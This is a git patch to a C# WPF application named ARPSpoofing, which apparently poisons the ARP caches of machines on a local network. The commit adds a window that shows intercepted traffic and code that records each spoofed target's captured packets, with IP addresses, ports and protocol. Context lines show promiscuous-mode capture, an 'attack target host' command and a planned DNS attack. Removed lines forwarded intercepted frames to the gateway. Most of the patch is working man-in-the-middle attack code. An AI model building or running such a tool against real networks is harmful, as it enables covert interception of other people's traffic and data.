From e3dac989a16ab5fa4ed085c54e16b666e75225b2 Mon Sep 17 00:00:00 2001 From: qiuwei <18852951552@163.com> Date: Thu, 28 Mar 2024 18:56:27 +0800 Subject: [PATCH] add detail --- ARPSpoofing/ARPSpoofing.csproj | 1 - ARPSpoofing/Detail.xaml | 28 ++++++ ARPSpoofing/Detail.xaml.cs | 16 ++++ ARPSpoofing/DetailViewModel.cs | 9 ++ ARPSpoofing/MainWindow.xaml | 2 +- ARPSpoofing/MainWindowViewModel.cs | 143 +++++++++++++++++++++++------ 6 files changed, 171 insertions(+), 28 deletions(-) create mode 100644 ARPSpoofing/Detail.xaml create mode 100644 ARPSpoofing/Detail.xaml.cs create mode 100644 ARPSpoofing/DetailViewModel.cs diff --git a/ARPSpoofing/ARPSpoofing.csproj b/ARPSpoofing/ARPSpoofing.csproj index 186fce3..f5d14b1 100644 --- a/ARPSpoofing/ARPSpoofing.csproj +++ b/ARPSpoofing/ARPSpoofing.csproj @@ -9,7 +9,6 @@ - diff --git a/ARPSpoofing/Detail.xaml b/ARPSpoofing/Detail.xaml new file mode 100644 index 0000000..6cb2a9c --- /dev/null +++ b/ARPSpoofing/Detail.xaml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + + + diff --git a/ARPSpoofing/Detail.xaml.cs b/ARPSpoofing/Detail.xaml.cs new file mode 100644 index 0000000..2a01986 --- /dev/null +++ b/ARPSpoofing/Detail.xaml.cs @@ -0,0 +1,16 @@ +using System.Windows; + +namespace ARPSpoofing +{ + /// + /// Interaction logic for Detail.xaml + /// + public partial class Detail : Window + { + public Detail(DetailViewModel detailViewModel) + { + InitializeComponent(); + DataContext = detailViewModel; + } + } +} diff --git a/ARPSpoofing/DetailViewModel.cs b/ARPSpoofing/DetailViewModel.cs new file mode 100644 index 0000000..d897230 --- /dev/null +++ b/ARPSpoofing/DetailViewModel.cs @@ -0,0 +1,9 @@ +using CommunityToolkit.Mvvm.ComponentModel; + +namespace ARPSpoofing +{ + public class DetailViewModel : ObservableObject + { + public ArpAttackComputer ArpAttackComputer { get; set; } + } +} diff --git a/ARPSpoofing/MainWindow.xaml b/ARPSpoofing/MainWindow.xaml index d7a6d75..d0f32c9 100644 --- a/ARPSpoofing/MainWindow.xaml +++ b/ARPSpoofing/MainWindow.xaml @@ -167,6 +167,7 @@ + @@ -215,7 +216,6 @@ - diff --git a/ARPSpoofing/MainWindowViewModel.cs b/ARPSpoofing/MainWindowViewModel.cs index 6094280..8905543 100644 --- a/ARPSpoofing/MainWindowViewModel.cs +++ b/ARPSpoofing/MainWindowViewModel.cs @@ -1,7 +1,6 @@ using CommunityToolkit.Mvvm.ComponentModel; using CommunityToolkit.Mvvm.Input; using PacketDotNet; -using PacketDotNet.Ieee80211; using SharpPcap; using SharpPcap.LibPcap; using System; @@ -175,7 +174,7 @@ public bool IsAttacking public RelayCommand StopScanCommand { get; set; } public RelayCommand CallTargetComputerCommand { get; set; } //攻击目标主机 public RelayCommand StopCallTargetComputerCommand { get; set; } - + public RelayCommand WatchDetailCommand { get; set; } public MainWindowViewModel() { IsScanning = false; @@ -186,6 +185,7 @@ public MainWindowViewModel() StopScanCommand = new RelayCommand(StopScan); CallTargetComputerCommand = new RelayCommand(CallTargetComputer); StopCallTargetComputerCommand = new RelayCommand(StopCallTargetComputer); + WatchDetailCommand = new RelayCommand(WatchDetail); _cancellationTokenSource = new CancellationTokenSource(); ArpAttackComputers = new ObservableCollection(); } @@ -200,7 +200,7 @@ private void Loaded() { LibPcapLiveDevice = null; MessageBox.Show("网卡数量不足", "错误", MessageBoxButton.OK, MessageBoxImage.Error); - return; + return; } LibPcapLiveDevice = LibPcapLiveDevices.FirstOrDefault(); @@ -243,7 +243,7 @@ private void ShiftDevice() var gw = LibPcapLiveDevice.Interface.GatewayAddresses; // 网关IP //ipv4的gateway - GatewayIp = gw?.FirstOrDefault(x => x.AddressFamily == AddressFamily.InterNetwork); + GatewayIp = gw?.FirstOrDefault(x => x.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork); if (GatewayIp == null) return; @@ -252,34 +252,88 @@ private void ShiftDevice() GatewayMac = Resolve(GatewayIp); } + private void WatchDetail() + { + var targets = ArpAttackComputers.Where(x => x.IsSelected).ToList(); + foreach (var item in targets) + { + DetailViewModel detailViewModel = new DetailViewModel(); + detailViewModel.ArpAttackComputer = item; + + Detail detail = new Detail(detailViewModel); + + detail.Show(); + } + } + + /// + /// 监听到攻击的网卡收到的数据包 + /// + /// + /// private void OnPacketArrival(object sender, PacketCapture e) { - var device = sender as LibPcapLiveDevice; - var packet = Packet.ParsePacket(e.Device.LinkType, e.Data.ToArray()); - if (packet != null) + try { - if (packet is EthernetPacket ethernetPacket) + var device = sender as LibPcapLiveDevice; + var packet = Packet.ParsePacket(e.Device.LinkType, e.Data.ToArray()); + if (packet != null) { - IPPacket ipPacket = ethernetPacket.Extract(); - if (ipPacket == null) return; - if (ipPacket.SourceAddress.ToString() == "192.168.1.2") + if (packet is EthernetPacket ethernetPacket) //数据包是以太网数据 { - //var tempTcpPacket = new TcpPacket(outerTcpPacket.SourcePort, outerTcpPacket.DestinationPort); - //tempTcpPacket.PayloadData = outerTcpPacket.PayloadData; - - //IPv4Packet tempIpV4Packet = new IPv4Packet(outerIpPacket.SourceAddress, outerIpPacket.DestinationAddress); - ////ipPacket.Version = 4; - //tempIpV4Packet.HeaderLength = (byte)(IPv4Fields.HeaderLength + (tempTcpPacket.Options.Count() * 1)); - ////ipPacket.typ = 0; - //tempIpV4Packet.TotalLength = (ushort)(tempIpV4Packet.HeaderLength + tempTcpPacket.Bytes.Length); - //tempIpV4Packet.TimeToLive = 128; - //tempIpV4Packet.Protocol = PacketDotNet.ProtocolType.Tcp; - //tempIpV4Packet.PayloadPacket = tempTcpPacket; - ethernetPacket.DestinationHardwareAddress = GatewayMac; - device.SendPacket(ethernetPacket); + var targetComputer = ArpAttackComputers.FirstOrDefault(x => x.MacAddress == ethernetPacket.SourceHardwareAddress.ToString()); + + if (targetComputer != null) + { + var ipPacket = ethernetPacket.Extract(); + if (ipPacket != null) + { + var packetViewModel = new PacketViewModel(); + packetViewModel.SourceIpAddress = ipPacket.SourceAddress.ToString(); + packetViewModel.TargetIpAddress = ipPacket.DestinationAddress.ToString(); + + var udpPacket = ipPacket.Extract(); + var tcpPacket = ipPacket.Extract(); + packetViewModel.Type = "IP"; + //try + //{ + // CancellationTokenSource cts = new CancellationTokenSource(); + // cts.CancelAfter(500); + // IPHostEntry hostEntry = Dns.GetHostEntryAsync(packetViewModel.TargetIpAddress, cts.Token).ConfigureAwait(false).GetAwaiter().GetResult(); + // packetViewModel.Domain = hostEntry.Aliases == null ? null : hostEntry.Aliases.FirstOrDefault(); + //} + //catch (Exception) { } + + if (udpPacket != null) + { + packetViewModel.SourcePort = udpPacket.SourcePort; + packetViewModel.TargetPort = udpPacket.DestinationPort; + packetViewModel.Type = "UDP"; + } + + if (tcpPacket != null) + { + packetViewModel.SourcePort = tcpPacket.SourcePort; + packetViewModel.TargetPort = tcpPacket.DestinationPort; + packetViewModel.Type = "TCP"; + } + + targetComputer.AddPacket(packetViewModel); + } + else + { + ///mac地址没啥好记录的都知道了 + var packetViewModel = new PacketViewModel(); + packetViewModel.Type = "以太网"; + targetComputer.AddPacket(packetViewModel); + } + } } } } + catch (Exception) + { + } } /// @@ -487,7 +541,7 @@ private void CallTargetComputer() LibPcapLiveDevice.Open(DeviceModes.Promiscuous, 20); LibPcapLiveDevice.Filter = "ether dst " + LocalMac.ToString(); LibPcapLiveDevice.StartCapture(); - + } foreach (var compute in target) { @@ -601,7 +655,7 @@ public class ArpAttackComputer : ObservableObject public Task ArpAttackTask { get; set; } public Task DnsAttackTask { get; set; } //todo define dns attack public CancellationTokenSource CancellationTokenSource { get; set; } - + public ObservableCollection Packets { get; set; } private double _value; public double Value { @@ -612,6 +666,7 @@ public double Value public ArpAttackComputer() { CancellationTokenSource = new CancellationTokenSource(); + Packets = new ObservableCollection(); Task.Run(async () => { while (true) @@ -630,6 +685,23 @@ public ArpAttackComputer() }); } + private object _lock = new object(); + public void AddPacket(PacketViewModel packetViewModel) + { + lock (_lock) + { + Application.Current.Dispatcher.Invoke(() => + { + if (Packets.Count >= 512) + { + Packets.RemoveAt(0); + } + + Packets.Add(packetViewModel); + }); + } + } + /// /// 发送arp诈骗 /// @@ -643,4 +715,23 @@ internal void CancelTask() CancellationTokenSource?.Cancel(); } } + + /// + /// 被arp欺骗的电脑数据包 + /// + public class PacketViewModel : ObservableObject + { + /// + /// 网络层 + /// + public string SourceIpAddress { get; set; } + public string TargetIpAddress { get; set; } + /// + /// 传输层 + /// + public ushort SourcePort { get; set; } + public ushort TargetPort { get; set; } + public string Type { get; set; } + public string Domain { get; set; } + } }